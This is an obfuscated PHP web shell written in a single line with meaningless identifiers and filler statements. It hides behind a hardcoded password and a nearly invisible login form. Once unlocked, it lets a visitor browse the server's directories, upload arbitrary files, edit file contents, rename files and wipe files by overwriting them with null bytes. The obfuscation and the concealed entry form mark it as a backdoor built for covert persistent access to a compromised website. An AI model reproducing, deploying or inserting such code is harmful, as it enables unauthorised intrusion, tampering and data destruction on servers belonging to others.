<?php function cgyp($v): string {return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8');$ttolivar=str_shuffle('012345');}$tvsvar=filesize(__FILE__)??0;function dwk(){if(!session_id())session_start();$tovqnvar=dirname(__FILE__);if(!isset($_SESSION['preceremonial']))$_SESSION['preceremonial']=[];$rqdvar=ucfirst('data');}$pgvar=ctype_upper('ABC');function wpdlku($v){dwk();while(false){break;}static $c=0;$meiohvar=array_reverse([1,2,3]);$c++;$kwvar=ctype_digit('2');$_SESSION['preceremonial'][$c]=$v;$lijvar=array_key_exists('key',['key'=>1]);return $c;$szpsvar=@time();}$dlbevar=strtolower('CONFIG');function vxap($k,$d=null){dwk();$davar=95>>0;return $_SESSION['preceremonial'][$k]??$d;$zxvar=is_callable('trim');}$gtqavar=@getmypid()??0;function rxzbak($p,$ljvar){$p=str_replace("\0",'',$p);$p=trim($p);$kkzmcvar=array_key_exists('key',['key'=>1]);if($p==='' or $p==='.' or $p==='/')return $ljvar;$kgvar=implode('',array_slice([],0));$p=rawurldecode($p);$ufhsdvar=octdec('2');$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($ljvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$yevar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $exrvar){if($exrvar==='' or $exrvar==='.')continue;if($exrvar==='..'){array_pop($yevar);continue;}$yevar[]=$exrvar;}$enovar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$yevar);$hudqwvar=@realpath($enovar);$pfjivar=realpath($ljvar);if($hudqwvar!==false and $pfjivar!==false and strpos($hudqwvar,$pfjivar)===0)$enovar=$hudqwvar;is_file($enovar) and ($enovar=dirname($enovar));return rtrim($enovar,DIRECTORY_SEPARATOR);}function txaoxd($p){if(!is_file($p) or !is_readable($p))return false;$heyvzvar=@fopen($p,'rb');if(!$heyvzvar)return false;$iqnrmvar='';while(!feof($heyvzvar)){$apbvar=fread($heyvzvar,8192);if($apbvar===false)break;$iqnrmvar.=$apbvar;}fclose($heyvzvar);return $iqnrmvar;}function uyr($p,$d){$owbxvar=dirname($p);if(!is_dir($owbxvar) or !is_writable($owbxvar))return false;$heyvzvar=@fopen($p,'wb');if(!$heyvzvar)return false;flock($heyvzvar,LOCK_EX);$qqzvar=fwrite($heyvzvar,$d);flock($heyvzvar,LOCK_UN);fclose($heyvzvar);return $qqzvar!==false;}function ja($p){if(is_file($p) and is_writable($p)){$heyvzvar=@fopen($p,'wb');if($heyvzvar){fwrite($heyvzvar,str_repeat("\0",max(1,@filesize($p))));fclose($heyvzvar);}return true;}return false;}function umw($p,$ckvar){return '<a href="?l='.cgyp(wpdlku($p)).'">'.cgyp($ckvar).'</a>';}function ui($p,$ljvar){$hudqwvar=realpath($p);$pfjivar=realpath($ljvar);if(!$hudqwvar or !$pfjivar or strpos($hudqwvar,$pfjivar)!==0)return cgyp($p);$zuxsvar=substr($hudqwvar,strlen($pfjivar));$zuxsvar=trim($zuxsvar,DIRECTORY_SEPARATOR);$exrvar=$zuxsvar===''?[]:explode(DIRECTORY_SEPARATOR,$zuxsvar);$xoccvar=[umw($ljvar,'~')];$vuevar=$ljvar;foreach($exrvar as $s){$vuevar=rtrim($vuevar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$xoccvar[]=umw($vuevar,$s);}return implode(' / ',$xoccvar);}$ljvar=__DIR__;$hhvar="superobliquu";dwk();if(!isset($_SESSION['microblamabl'])){if(isset($_POST['n']) or isset($_GET['n'])){$gfvar=$_POST['n']??$_GET['n'];if($gfvar===$hhvar){$_SESSION['microblamabl']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['microblamabl'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f0f0f0}.vp3{position:fixed;bottom:8px;left:8px;opacity:0.13;display:flex;gap:3px}.vp3 input{width:58px;padding:2px 3px;border:1px solid #ccc;background:#fff;font:10px/1.4 monospace;outline:none}.vp3 button{padding:2px 6px;border:1px solid #ccc;background:#eee;font:10px monospace;cursor:pointer;color:#555}</style></head><body><form class="vp3" method="post"><input type="password" name="n" autocomplete="off"><button type="submit">›</button></form></body></html><?php exit;}}$jzvjnvar=$_GET['l']??null;$vbxvar=$jzvjnvar?rxzbak(vxap($jzvjnvar,$ljvar),$ljvar):rxzbak($_GET['ov']??'',$ljvar);if(isset($_POST['u']) and isset($_FILES['oj'])){$ljvvar=$_FILES['oj']['tmp_name'];$czfvar=basename($_FILES['oj']['name']);$jdvar=$vbxvar.DIRECTORY_SEPARATOR.$czfvar;if($ljvvar and $czfvar and is_uploaded_file($ljvvar) and @move_uploaded_file($ljvvar,$jdvar)){header('Location: ?l='.wpdlku($vbxvar).'&h=1');exit;}header('Location: ?l='.wpdlku($vbxvar));exit;}if(isset($_POST['pt']) and isset($_GET['hl'])){$wpemtvar=$vbxvar.DIRECTORY_SEPARATOR.basename($_GET['hl']);$avfbkvar=$_POST['wa']??'';if(uyr($wpemtvar,$avfbkvar)){header('Location: ?l='.wpdlku($vbxvar).'&hl='.urlencode($_GET['hl']).'&h=2');exit;}header('Location: ?l='.wpdlku($vbxvar));exit;}if(isset($_POST['gu'])){$svvar=basename($_POST['wk']??'');$wpemtvar=$vbxvar.DIRECTORY_SEPARATOR.$svvar;if($svvar!=='' and (is_file($wpemtvar) or is_dir($wpemtvar)) and ja($wpemtvar)){header('Location: ?l='.wpdlku($vbxvar));exit;}}if(isset($_POST['ep'])){$navar=basename($_POST['t']??'');$bmvar=basename($_POST['bu']??'');if($navar!=='' and $bmvar!=='')@rename($vbxvar.DIRECTORY_SEPARATOR.$navar,$vbxvar.DIRECTORY_SEPARATOR.$bmvar);header('Location: ?l='.wpdlku($vbxvar));exit;}$spvar=(int)($_GET['h']??0);$lgvar=$_GET['hl']??null;$iovar='';if($lgvar){$iovar=txaoxd($vbxvar.DIRECTORY_SEPARATOR.basename($lgvar));}$bnvar=[];$rzzzvar=[];$piuvar=@scandir($vbxvar);if($piuvar!==false){foreach($piuvar as $xrvar){if($xrvar==='.' or $xrvar==='..')continue;$wpemtvar=$vbxvar.DIRECTORY_SEPARATOR.$xrvar;if(is_dir($wpemtvar)){$bnvar[]=['n'=>$xrvar,'p'=>$wpemtvar];}else{$flotvar=@filesize($wpemtvar);$ddvar='';if($flotvar!==false){$hievar=['b','k','m','g'];$fhvar=0;while($flotvar>=1024 and $fhvar<3){$flotvar/=1024;$fhvar++;}$ddvar=round($flotvar,1).$hievar[$fhvar];}$rzzzvar[]=['n'=>$xrvar,'s'=>$ddvar];}}sort($bnvar);sort($rzzzvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#efefef;font:12px/1.5 monospace;color:#333}.eb1{max-width:860px;margin:18px auto;padding:0 12px}.lk2{font-size:10px;color:#aaa;padding:6px 0 10px}.lk2 a{color:#888;text-decoration:none}.lk2 a:hover{text-decoration:underline}.az2{padding:5px 10px;background:#e8ffe8;border-left:3px solid #9c9;font-size:10px;margin-bottom:10px;color:#595}.cv9{background:#fff;border:1px solid #ddd;padding:10px;margin-bottom:12px}.cv9 textarea{width:100%;padding:6px;border:1px solid #ddd;font:11px monospace;resize:vertical;min-height:280px;outline:none}.cv9 .jz5{margin-top:6px;display:flex;gap:5px}.gu7{background:#fff;border:1px solid #ddd;padding:8px 10px;margin-bottom:12px;display:flex;gap:6px;align-items:center}.gu7 input[type=file]{flex:1;font-size:10px}.wh7{width:100%;border-collapse:collapse;background:#fff;border:1px solid #ddd}.wh7 tr{border-bottom:1px solid #f0f0f0}.wh7 tr:last-child{border-bottom:none}.wh7 tr:hover{background:#fafafa}.wh7 td{padding:5px 8px;font-size:11px;vertical-align:middle}.wh7 .nl3{color:#aaa;font-size:9px;width:24px}.wh7 .vn3 a{color:#222;text-decoration:none}.wh7 .vn3 a:hover{color:#0055bb}.wh7 .us3{color:#bbb;font-size:9px;width:50px;text-align:right}.wh7 .mk2{width:160px;text-align:right}.ja7{padding:2px 7px;background:#f5f5f5;border:1px solid #d5d5d5;font:9px monospace;cursor:pointer;color:#444}.ja7:hover{background:#e8e8e8}.qb0{width:70px;padding:2px;border:1px solid #ccc;font:9px monospace}.qo3{display:inline}.rv4{color:#ddd;margin:0 2px}</style></head><body><div class="eb1"><div class="lk2"><?php echo ui($vbxvar,$ljvar)?></div><?php if($spvar===1):?><div class="az2">zakozam</div><?php endif?><?php if($spvar===2):?><div class="az2">uydare</div><?php endif?><?php if($lgvar and $iovar!==false):?><div class="cv9"><form method="post"><textarea name="wa"><?php echo cgyp($iovar)?></textarea><div class="jz5"><button class="ja7" name="pt">omekolur</button><a href="?l=<?php echo cgyp(wpdlku($vbxvar))?>"><button type="button" class="ja7">←</button></a></div></form></div><?php endif?><div class="gu7"><form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;width:100%;align-items:center"><input type="file" name="oj"><button class="ja7" name="u">+</button></form></div><table class="wh7"><tbody><?php foreach($bnvar as $owbxvar):?><tr><td class="nl3">[+]</td><td class="vn3"><?php echo umw($owbxvar['p'],$owbxvar['n'])?></td><td class="us3"></td><td class="mk2"><form class="qo3" method="post"><input type="hidden" name="wk" value="<?php echo cgyp($owbxvar['n'])?>"><button name="gu" class="ja7" onclick="return confirm('?')">×</button></form><span class="rv4">|</span><form class="qo3" method="post"><input type="hidden" name="t" value="<?php echo cgyp($owbxvar['n'])?>"><input type="text" name="bu" class="qb0" placeholder=".."><button name="ep" class="ja7">›</button></form></td></tr><?php endforeach?><?php foreach($rzzzvar as $ecvar):?><tr><td class="nl3">[-]</td><td class="vn3"><?php echo cgyp($ecvar['n'])?></td><td class="us3"><?php echo $ecvar['s']?></td><td class="mk2"><a href="?l=<?php echo cgyp(wpdlku($vbxvar))?>&hl=<?php echo urlencode($ecvar['n'])?>"><button class="ja7">~</button></a><span class="rv4">|</span><form class="qo3" method="post"><input type="hidden" name="wk" value="<?php echo cgyp($ecvar['n'])?>"><button name="gu" class="ja7" onclick="return confirm('?')">×</button></form><span class="rv4">|</span><form class="qo3" method="post"><input type="hidden" name="t" value="<?php echo cgyp($ecvar['n'])?>"><input type="text" name="bu" class="qb0" placeholder=".."><button name="ep" class="ja7">›</button></form></td></tr><?php endforeach?></tbody></table></div></body></html>